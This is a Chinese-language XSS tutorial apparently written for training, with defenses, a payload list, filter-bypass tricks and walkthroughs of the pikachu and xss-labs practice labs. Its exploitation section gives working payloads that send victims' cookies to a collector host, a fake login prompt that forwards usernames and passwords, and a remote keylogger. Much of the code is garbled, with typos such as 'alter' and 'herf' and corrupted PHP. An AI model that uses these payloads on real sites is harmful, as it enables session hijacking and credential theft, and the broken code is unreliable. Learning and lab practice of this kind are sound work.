文章目录:
[7.1 靶场](#7.1 靶场)
[7.2 自动扫描工具](#7.2 自动扫描工具)
[7.3 手工测试工具](#7.3 手工测试工具)
[Less3:onclick onfocus onblur事件绕过](#Less3:onclick onfocus onblur事件绕过)
[Less4:onclick onfocus onblur事件绕过闭合](#Less4:onclick onfocus onblur事件绕过闭合)
[Less5:a href 标签闭合绕过](#Less5:a href 标签闭合绕过)
[Less12:User Agent注入](#Less12:User Agent注入)
[Less16:url编码-标签绕过 换行符替换空格绕过](#Less16:url编码-标签绕过 换行符替换空格绕过)
一:前言
1.定义
DelphiXSS全称(Cross site scripting)跨站脚本攻击,为了避免和CSS层叠样式表名称冲突,所以改为了XS XSS是指攻击者在网页中嵌入客户端脚本代码,通常是javascript编写的危险代码(也可以是ActionScript VBScript) 当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的 XSS属于客户端攻击,受害者是用户(如果是管理人员也可以进行服务端攻击)
2.漏洞出现的原因
Delphi程序对输入和输出的控制不够严格:在输入到前端时被浏览器当作有效代码解析执行,从而产生危害
3.鉴别可能存在XSS漏洞的地方
Delphi鉴别(输入输出的地方):输出的形式是以标签的形式进行展示、弹窗、用户交互
4.攻击原理
Delphi第一步:攻击者发现正常网站的xss漏洞,注入一段js代码 比如location.href="钓鱼网站" 第二步:用户通过客户端-浏览器访问这个网站的页面 第三步:服务端-服务器响应了html的页面,这里面包含攻击者的js代码 第四步:浏览器加载html文件过程中,自动运行了攻击者的js代码,导致浏览器又继续访问了钓鱼网站 用户输入账号密码发给了钓鱼网站 第五步:钓鱼网站将数据保存起来盗取信息
5.危害
Delphi1.获取用户信息;(如浏览器信息、ip地址、cookie信息等) 2.钓鱼;(利用xss漏洞构造出一个登录框,骗取用户账户密码,提示登录过期,模拟一个网站的登录框,将用户名、密码发送到攻击者服务器) 3.注入木马或广告链接;(有些在主站注入非法网站的链接,对公司的声誉有一定的影响 4.后台增删改网站数据等操作:(配合CSRF漏洞,骗取用户点击,利用js拟浏览器发包) 5.xss蠕虫(微博蠕虫:只要看过某人的微博就自动关注某人;贴吧蠕虫:看过某个帖子就自动回复这个帖子) 6.有局限性的键盘记录 7.挂马:挂马是指黑客通过各种手段,包括SQL注入、网站敏感文件扫描、服务器漏洞、网站程序0day等 获得网站管理员账号,然后登录网站后台,通过数据库"备份/恢复"或者上传漏洞获得一个webshell
6.防御
javascript黑名单:过滤特殊符号及字符如<、>、%、#、/、(、)、script、svg、object、on事件等 白名单:只允许特定类型或符号 编码及转义 输出在标签或属性中进行HTML编码 输出在script标签或事件中进行JavaScript编码 输出在url中进行url编码。 cookie中设置httponly:setcookie将httponly选项设置为true,防范cookie劫持 确保执行脚本来源可信:开发者明确告诉客户端,哪些外部资源可以加载和执行(CSP策略 ) 不使用有缺陷的第三方库
7.环境
7.1 靶场
pikachu靶场:是一个网络安全训练平台,旨在模拟真实世界中的网络攻击和防御场景,帮助用户提高网络安全技能和知识
XSS-labs:是一个专门用于学习和练习跨站脚本攻击(XSS)技术的在线平台
XSS Game:XSS靶场练习
蓝莲花:XSS靶场练习
xss平台:在线平台
7.2 自动扫描工具
APPscan、AwVS、xray等大型漏扫工具、xsstrike等自动化小工具
7.3 手工测试工具
Burpsuite、firefox(hackbar)、360开发的一款浏览器插件:XSSER XSSF,不太好用昂
8.payload是什么
Payload在网络安全中指的是攻击者在利用漏洞时,通过向受攻击的系统发送的恶意代码或指令,用于实现攻击目的的数据包
javascript<script>alert('Zer0Lulz")</script> <SCRiPt>AIErT('XSS)</ScRiPt> "><script>alert('XSS')</script> "><SCRiPt>AIErT(XSS')</SCRiPt> =><><script>alert('XSS")</script> =><><ScRiPt>AlErT(XSS')</ScRiPt> ="><script>alert('Xss')</script> ="><ScRiPt>AIErT(XSS")</ScRiPt> ='><script>alert('XSS')</script> ='><ScRiPt>AIErT(XSS"</ScRiPt> "><<script>alert('XSS')</script> "><<ScRiPt>AIErT(XSS"</ScRiPt> ='><<script>alert(XSS')</script> ='><<ScRiPt>AIErT('XSS")</ScRiPt> <script>alert(String.fromCharCode(88, 83, 83)</script> <ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt> ><script>alert(String.fromCharcode(88,83,83)</script> ><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt> =><><script>alert(String.fromCharCode(88, 83, 83)</script> =><><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt> ="><script>alert(String.fromCharCode(88, 83, 83)</script> ="><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt> ='><script>alert(String.fromCharCode(88,83,83)</script> ='><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>
javascript'><img src="#" onmouseover="alter('xss')">
二:常用的标签语法
|------------------|-----------------------------------------------------------------------------------------------|
| <script>
| <script>alert("xss");</script> |
| <img>
| <img src=1 οnerrοr=alert("xss");> onerror 事件是javascript中的事件之一。只要页面中出现脚本错误,就会产生onerror事件 |
| <a> | '"><a herf='javascript:alter(123)'>百度</a> |
| <video>
| <video><source οnerrοr="alert(1)"> |
| <audio>
| <audio src=x οnerrοr=alert("xss");> |
| <input>
| <input οnfοcus="alert('xss');"> |
| <select>
| <select οnfοcus=alert(1)></select> |
| <iframe>
| <iframe οnlοad=alert("xss");></iframe> |
| <details> | 使用open属性触发ontoggle事件,无需用户去触发(可展开和折叠的内容区域 ) <details open οntοggle="alert('xss');"> |
| <textarea>
| <textarea οnfοcus=alert("xss"); autofocus> |
三:XSS的分类
|-------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ### 反射型get | 与服务端交互,但是交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等 (中低威漏洞)------>可用于钓鱼、引流、配合其他漏洞如CSRF等 javascript '"><script>confirm(1)</script> //'">完成闭合符号
javascript xx'</a><script>confirm(1)</script><a> //对话框确认取消
javascript xx' onclick="alter(2)">
|
| ### 存储型post | 交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面 (高威漏洞)------>攻击范围广,流量传播大,可配合其他漏洞 php <?php $name=$_GET['name']; echo "welcome $name<br>"; ?>
|
| ### DOM型 | 不与后台服务器产生数据交互,通过JS代码操作DOM文档对象模型(html文件)操作前端代码输出的时候产生的漏洞 DM操作:html标签元素节点操作、修改标签属性 DOM型:大部分属于反射型、少部分属于存储型 (中低威漏洞)------>配合长度大小不受限制 Delphi document.referer window.name location innerhtml document.write
|
|-----------|------------------------------------------------------------------------------------|
| 非持久型XSS攻击 | 非持久型xss攻击是一次性的,仅对当次的页面访问产生影响 要求用户访问一个被攻击者篡改后的链接,用户访问该链接时 被植入的攻击脚本被用户游览器执行,从而达到攻击目的 |
| 持久型XSS攻击 | 持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在 |
| DOM型XSS | DOM型XSS:可能是持久型、也可能是非持久型 |
四:漏洞利用
1.盗取cookie
GET型:加地址
Delphi'"><script> document.location = 'http://192.168.31.172/picachu/pkxss/xcookie/cookie.php?cookie='+document.cookie; </script>
POST型:伪造HTML页面,写好攻击代码逻辑
Delphi<head> <script> //当浏览器加载完页面所有的内容后自动触发执行 window.onload=function(){ document .getElenentById("postsubnit").click(); } </script> </head> <body> <form method="post" action="http://192,168.31,110/piknchu/vul/xss/xsspost/xss roflected post php"> <input id="xssr in" type="text" name="message" value= "<script> document.location ='http://192.168.31.172/pikachu/pkxss/xcookie/cookio.php?cookie=' + document.cookie; </script>" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body>
2.弹窗钓鱼
Delphi钓鱼攻击利用页面 D:phpstudy\ww\pikachu\pkxss\xfish <script src="http://192.168.31.172/pikachu/pkxss/xfish/fish.php"></script>
fish.php
Delphi<?php error reporting(0); // var dump($_SERVER); if((!isset($_SERVER['PHP AUTH USER']))|| (!isset($_SERVER['PHP AUTH W'])))( //发送认证框,并给出迷感性的info header('Content-type:text/html;charset=utf-8'); header("wwW-Authenticate:Basic realm认证""); header('HTTP/1.0 401 Unauthorized'); echo "Authorization Required."; exit; else if ((isset($_SERVER['PHP AUTH USER']))&& (isset ($_SERVER['PHP AUTH PW']))){ //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后合的IP header ("location: http://192.168.31.172/pikachu/pkxss/xfish/xfish,php?username{S_SERVER[PHP_AUTH_USER])&password={$_SERVER[PHP_AUTH_pw]}"); ?>
xfish.php
Delphi<?php error reporting(0); include once"../inc/config.inc.php'; include once../inc/mysql.inc.php'; $link=connect(); if(!empty($_GET['username'])&& !empty($_GET['password'])){ susernane=$_gET[username']; spassword=$_GET['password"]; Sreferer=r"; sreferer.=$_SERVER['HTTP REFERER']; Stime=date('Y-m-d q:i:s'); $query="insert fish (time,username,password, referer) values ('$time', '$username', '$password','$sreferer'.'$Stime'); $result=mysqli_query($link,squery); ?>
3.获取键盘记录
Delphi'"><script src="http://192.168.31.172/pikachu/pkxss/rkeypress/rk.js"></script>
rk.js:获取用户按下了哪些键进行拼接起来发送给ajax,然后以post请求发给rkserver.php(每个键通过JS代码映射出数字)
rkserver.php:取出数据
Delphi<?php include once'../inc/config.inc.php'; include once'../inc/mysql.inc.php'; slink=connect(); //设置允许被跨域访问 header("Access-Control-Allow-0rigin:*"); $data =$_PosT['datax']; $query="insert keypress(data) values('$data')", $result=mysqli_query(slink,squery); ?>
4.盲打
Delphi定义:XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下 提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码 当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的 也就是通过前端插入攻击代码,在后台管理系统中生效 简述:发现某个页面有XSS漏洞,在当前页面提交了XSS的攻击代码,在这个页面上面是不显示的,在其他页面中显示 主要针对后台管理系统 '"><sCrIpT>alert(后台查看666说明被攻击)</scrIpT>
五:绕过*
|-----------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| alert(123) alert("Hello, world!")函数:用于在浏览器中弹出一个带有指定消息的警告框 confirm("Hello, world!")函数:需要用户确认一下是否要进行操作,提供的框有一个「确定」和「取消」两个按钮 ||
| ### 闭合input标签绕过 | javascript '"><script>alert('jaden');</script>
|
| ### 鼠标事件过滤 | javascript '"onfouces=alter("123")
鼠标事件函数: onclick:鼠标点击 onblur:离开 onfouces:聚焦 ondblclick: 鼠标双击 onmousedown: 鼠标按钮被按下 onmouseup: 鼠标按钮被释放 onmousemove: 鼠标被移动 onmouseover: 鼠标移动到元素上 onmouseout: 鼠标从元素上移开 onmouseenter: 鼠标进入元素 onmouseleave: 鼠标离开元素 |
| ### 空格绕过 | javascript 当空格被过滤掉时,我们可以用 / 来代替空格:<img/src=x/onerror="alert('xss')">
javascript 换行符号替换空格:src=jaden<img%0Asrc=1%0Aonerror=alter(123)%0A/>'
|
| ### 大小写绕过防护 | javascript '"><scRIpt>confirm(1)</scRIpt>
javascript <ImG sRc=x onerRor=alert("xss");>
|
| ### 双写绕过防护 | javascript '"><sc<script>ipt>confirm(1)</sc<script>ipt>
javascript <imimgg srsrcc=x onerror=alert("xss");>
|
| ### 标签绕过防护 | 替换 javascript 换一个别的标签进行替换:script、a、img、video、audio...
a href javascript '"><a herf='javascript:alter(123)'>百度</a>
|
| ### 引号过滤绕过 | javascript 用反引号代替单双引号<img src=x onerror=alert(`xss`);>
|
| ### 括号绕过 | javascript 当括号被过滤掉的时候我们可以使用throw来绕过<img src=x onerror="javascript:window.onerror=alert;throw 1">
如果window.onerror
的修改被阻止了,那么这里的throw 1
只会导致一个未捕获的异常 通常会在浏览器的开发者控制台中显示,而不是弹出一个警告框 |
| ### 字符拼接绕过 | javascript 利用eval:<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
javascript 利用top:<script>top["al"+"ert"](`xss`);</script>
|
| ### 编码绕过 | 编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码:十进制、十六进制 在线Unicode编码解码 工具 、在线 Unicode 编码转换 |
| ### 编码绕过 | url编码绕过 javascript 原始SQL注入尝试:1' OR '1'='1
javascript 绕过尝试(URL编码):1%27+OR+%271%27%3D%271
ascii码绕过 javascript 如果攻击者发现系统对特定字符进行了过滤,他们可能会尝试使用这些字符的ASCII码值(通过脚本或工具)来生成绕过过滤的输入
十六进制hex绕过 javascript 原始XSS尝试:<script>alert("XSS")</script>
javascript 绕过尝试(Hex编码):<script>alert(\x22XSS\x22)</script>
base64绕过 javascript 原始XSS尝试:<script>alert("XSS")</script>
javascript 绕过尝试(Base64编码):<img src="x" onerror="eval(atob('PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4='))">
js编码 javascript 原始XSS尝试:<script>alert("XSS")</script>
javascript 绕过尝试(Unicode编码):<script>alert(\u0058\u0053\u0053)</script>
unicode编码 javascript 原始URL:http://example.com/search?q=<script>alert("XSS")</script>
javascript 绕过尝试(Unicode编码):http://example.com/search?q=%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%u0072%u0074%u0028%u0022%u0058%u0053%u0053%u0022%u0029%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e
|
| ### HTTPOnly绕过 | httponly不是防止XXS攻击的,而是防止XXS攻击代码中的JS代码在浏览器上获取cookie信息 第七个参数设置为true javascript setcookie('ant[uname]',$_POST['username'],time()+3600, NULL ,NULL ,NULL,TRUE);
|
| ### 注释http://绕过 | javascript javascript:alert('jaden')//http://www.baidu.com
|
| ### 隐藏的传参闭合绕过 | javascript '" type='text' onclick='alert(123)'
|
| ### 注入绕过 | Referer注入 、User Agent注入、Cookie注入 javascript 利用turp抓吧工具,把对应里面的值替换成 '" type='text' onclick='alert(123)'
|
htmlspecialchars函数
javascripthtmlspecialchars(string,flags,character-set,double_encode)函数 把一些预定义的字符转换为html实体 但是这个函数默认配置不会将单引号和双引号过滤,只有设置quotestyle规定如何编码才可以 ENT_COMPAT 默认的,仅编码双引号,也就是默认情况下不对单引号进行处理 ENT_QUOTES 编码双引号和单引号 ENT_NOQUOTES 不编码任何引号 预定义字符 预定义的字符是:这就是我们学到的html实体编码表 &(和号)成为 & (双引号)成为 " (单引号)成为 ' <(小于)成为 < >(大于)成为 > 导致你提交的script标签再输出的时候变成了 &1tscript> 不同语言防犯XSS函数 PHP :htmlentities()、htmlspecialchars() Python : cgi.escape() ASP :Server.HTMLEncode() ASP.NET: Server.HtmlEncode() 、Microsoft Anti-Cross Site Scripting Library Java :xssprotect(Open Source Library) Node.js: node-validator
javascriptphp文件如下:把预定义的字符"<"(小于)和">"(大于)转换为 HTML 实体: <?php $str ="This is some <b>bold</b> text." echo htmlspecialchars($str); ?> 在html输出如下: <htm1> <head></head> <body> This is some <b>bold</b> text. </body> </htm1> 浏览器输出如下: This is some <b>bold</b> text.
六:同源和跨域
1.同源
javascript定义:对于js代码来说,为了安全考虑,所有浏览器都约定了"同源策略" 同源策略禁止页面加载或执行与自身来源不同的域的任何脚本,既不同域之间不能使用JS进行操作。 比如:x.com域名下的js不能操作y.com域名下的对象 那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),也就是说恶意的请求了其他网站的页面或者数据,拿到自己的页面上使用 如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码 非同源的网络请求script的src不受同源机制的影响 Tips:下面这些标签跨域加载资源是不受同源策略限制的,(但是资源类型是有限制的)静态资源直接不受同源机制的影响 <script src="..."> //加载js执行 <img src="..."> //图片 <link href="..."> //css <iframe src="..."> //任意资源 <a href="..."> // 超链接地址 同源策略修改 D:\phpstudy\www\pikachu\pkxss\rkeypress\rkserver.php 同之前的案例到后台设置好Access-contro1-A11ow-0rigin,设置为* 既允许所有人访问。一般公司的网站后台都不会设置*号的 //设置允许被跨域访问 header("Access-Control-Allow-0rigin:*");
2.跨域
javascript什么是跨域 http:// www. jaden.cn :80 /news/index.php 协议 子域名 主域名 端口 资源地址 当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域 我们把不同的域之间请求数据的操作,成为跨域操作;不同域之间进行沟通,叫做跨域 不同域示例: http://www.jaden.cn:80 http://www.jaden.cn:81 https://www.jaden.cn:80 http://www.jadens.cn:80
cors跨域
javascript//设置允许被跨域访问:设置响应头键值对 header("Access-Control-Allow-0rigin:*");
jsonp跨域
javascript定义:基于script标签的src属性,发送请求,携带一个回调函数参数 js 服务器端调用这个函数携带回调函数参数来响应数据 php 响应回来之后,回调js中声明的这个函数 js 第一个网站PHP:调用发送传值 jd_data('aa=1,bb=2'); 第一个网站JS:执行函数 <script src="http//www.jd.com/test.php?callback=jd_data"></script> function jd_data(res){ res这个参数就能拿到响应数据 }
jd.html :ajax-jq会发生报错
javascript<htm1> <head></head> <body> <button value='走你'><button> </body> <script src="https://cdn.bootcdn.net/aiax/libs/iguery/3.6.4/jguery.is"></script> <script> document.querySelector('button').onclick=fuction(){ $.aiax({ type:'get'. // get method url:"http://192 168.2 110/test.php' dataType:'jsonp' success':function(res){ console.log(res); } }) } </script> </html>
jd.html利用jsonp代码来实现
javascript<htm1> <head></head> <body> <button value='走你'><button> <div id='jd'></div> </body> <script src="https://cdn.bootcdn.net/aiax/libs/iguery/3.6.4/jguery.is"></script> <script> document.queryselector('button').onclick= function(){ var scdocument.createlement('script'); sc.src='http://192.168.2.110/pikachu/pkxss/rkeypress/test.php?cb=fn'; document.body.append(sc); } function fn(data){ console.log(data); var diva=document.getElementById('jd'); diva.innerHTML=data; } </script> </html>
test.php
javascript<?php $fn=$_GET['cb']; //fn echo $fn."('username=jd&password=666')"; //fn('username=jd&password=666') ?>
七:XSS-labs靶场练习
Less1:url传参
Load URL地址:192.168.2.106/xss-labs/level1.php?name=test 查看源码 <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> 确认输出 192.168.2.106/xss-labs/level1.php?name=test 192.168.2.106/xss-labs/level1.php?name=jaden 192.168.2.106/xss-labs/level1.php?name=jaden<script>alert(1)</script> 192.168.2.106/xss-labs/level1.php?'"><script>alert('jaden');</script>
Less2:闭合input标签
javascriptLoad URL地址:192.168.2.106/xss-labs/level2.php?keyword=test 查看源码 <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"." <center> <form action=level3.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value=搜索 /> </form> </center>"; ?> 确认输出 192.168.2.106/xss-labs/level2.php?keyword=test'"><script>alert('jaden');</script>
Less3:onclick onfocus onblur事件绕过
javascriptLoad URL地址:192.168.2.106/xss-labs/level3.php?writing=wait 查看源码 <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".' <center> <form action=level2.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> //默认双引号,只有设置ENT_QUOTES编码才双引号和单引号 <input type=submit name=submit value="搜索"/> </form> </center>'; ?> 确认输出:不区分大小写 192.168.2.106/xss-labs/level3.php?writing=wait'onclick='alter(123)' //点击 192.168.2.106/xss-labs/level3.php?writing=wait'onfocus='alter(123)' //聚焦 192.168.2.106/xss-labs/level3.php?writing=wait'onblur='alter(123)' //离开 //onblur='alter(123)' onblur='javascript:alter(123)' 192.168.2.106/xss-labs/level3.php?writing=wait'onblur='javascript:alter(123)'
Less4:onclick onfocus onblur事件绕过闭合
javascriptLoad URL地址:192.168.2.106/xss-labs/level4.php?keyword=try 查看源码 <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".' <center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> 确认输出:不区分大小写 192.168.2.106/xss-labs/level4.php?keyword=try'"onclick='alter(123)' //点击 192.168.2.106/xss-labs/level4.php?keyword=try'"onfocus='alter(123)' //聚焦 192.168.2.106/xss-labs/level4.php?keyword=try'"onblur='alter(123)' //离开 192.168.2.106/xss-labs/level4.php?keyword=try'"onblur='javascript:alter(123)'
Less5:a href 标签闭合绕过
javascriptLoad URL地址:192.168.2.106/xss-labs/level5.php?keyword=find 查看源码 <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".' <center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> 确认输出:不区分大小写 192.168.2.106/xss-labs/level5.php?keyword=find'"onclick='alter(123)' //O后面加了横杠O_nclick 192.168.2.106/xss-labs/level5.php?keyword=find'"<script> //'<scr_ipt> 192.168.2.106/xss-labs/level5.php?keyword=find'"><a herf='javascript:alter(123)'>百度</a>
Less6:大小写绕过
Load URL地址:192.168.2.106/xss-labs/level6.php?keyword=break 查看源码 <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".' <center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> 确认输出:不区分大小写 192.168.2.106/xss-labs/level6.php?keyword=break'"><a herf='javascript:alter(123)'>百度</a> //href变成了hr_ef 192.168.2.106/xss-labs/level6.php?keyword=break'"><a HERF='javascript:alter(123)'>百度</a> //href大写
Less7:双写绕过
Load URL地址:192.168.2.106/xss-labs/level7.php?keyword=move 查看源码 <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".' <center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> 确认输出 192.168.2.106/xss-labs/level7.php?keyword=move'"><a herf='javascript:alter(123)'>百度</a> //javascript变成了java,herf也没有了 192.168.2.106/xss-labs/level7.php?keyword=move'"><a HERF='javascript:alter(123)'>百度</a> //javascript变成了java,herf也没有了 192.168.2.106/xss-labs/level7.php?keyword=move'"><a HEherfRF='javascscriptript:alter(123)'>百度</a> ///双写
Less8:unicode属性值编码绕过
编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码:十进制、十六进制
在线Unicode编码解码 工具 、在线 Unicode 编码转换
Load URL地址:192.168.2.106/xss-labs/level8.php?keyword=nice 查看源码 <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo ' <center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> 确认输出 //href变成了hr_ef;javascript变成了javascr_ipt;123被编码了"jaden 192.168.2.106/xss-labs/level8.php?keyword=nice'"><a herf='javascript:alter(123)'>百度</a> 192.168.2.106/xss-labs/level8.php?keyword=nice javascript:alter("jaden") 192.168.2.106/xss-labs/level8.php?keyword=nice javascript:alter('jaden') //进行在线编码绕过
Less9:注释http://绕过
javascriptLoad URL地址:192.168.2.106/xss-labs/level9.php?keyword=not 查看源码 <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo ' <center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?> <center><img src=level9.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> 确认输出 192.168.2.106/xss-labs/level9.php?keyword=not jaden //链接不合法 192.168.2.106/xss-labs/level9.php?keyword=not https://www.baidu.com //链接不合法 192.168.2.106/xss-labs/level9.php?keyword=not http://www.baidu.com //链接合法 192.168.2.106/xss-labs/level9.php?keyword=not http:/www.baidu.com //链接不合法 javascript:alert('jaden')//http://www.baidu.com //变成javascr_ipt:alert('jaden')//http:// //单独对javascript进行编码 javascript:alert(1)//http://www.baidu.com
Less10:隐藏的传参闭合绕过
javascriptLoad URL地址:192.168.2.106/xss-labs/level10.php?keyword=well 查看源码 <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".' <center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> 确认输出 //发现t_sort有输出 192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc //闭合t_sort,发现没有链接 192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc'"onclick='alert(123)' //加type='text'让链接显示出来 192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc'" type='text' onclick='alert(123)'
Less11:Referer 注入
javascriptLoad URL地址:192.168.2.106/xss-labs/level11.php?keyword=good 查看源码 <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".' <center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?> 确认输出 //发现t_sort有输出 192.168.2.106/xss-labs/level11.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ref=dd //发现没有闭合掉,但是t_ref里面有值 192.168.2.106/xss-labs/level11.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ref=dd type='text' onclick='alert(123)' //利用turp抓吧工具,把t_ref(referer)里面的值替换成 '" type='text' onclick='alert(123)'
Less12:User Agent注入
Load URL地址:192.168.2.106/xss-labs/level12.php?keyword=good 查看源码 <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".' <center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ?> 确认输出 //发现t_sort有输出 192.168.2.106/xss-labs/level12.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ua=dd //发现没有闭合掉,但是t_ua里面有值 192.168.2.106/xss-labs/level12.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ua=dd type='text' onclick='alert(123)' //利用turp抓吧工具,把t_ua(User-Agent)里面的值替换成 '" type='text' onclick='alert(123)'
Less13:cookie注入
javascriptLoad URL地址:192.168.2.106/xss-labs/level13.php?keyword=good 查看源码 <?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".' <center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ?> 确认输出 //发现t_sort有输出 192.168.2.106/xss-labs/level13.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_cook=dd //发现没有闭合掉,但是t_cook里面有值 192.168.2.106/xss-labs/level13.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_cook=dd type='text' onclick='alert(123)' //利用turp抓吧工具,把t_cook(cookie)里面的值替换成 '" type='text' onclick='alert(123)'
Less14:题有问题
这一关题有问题直接十五关
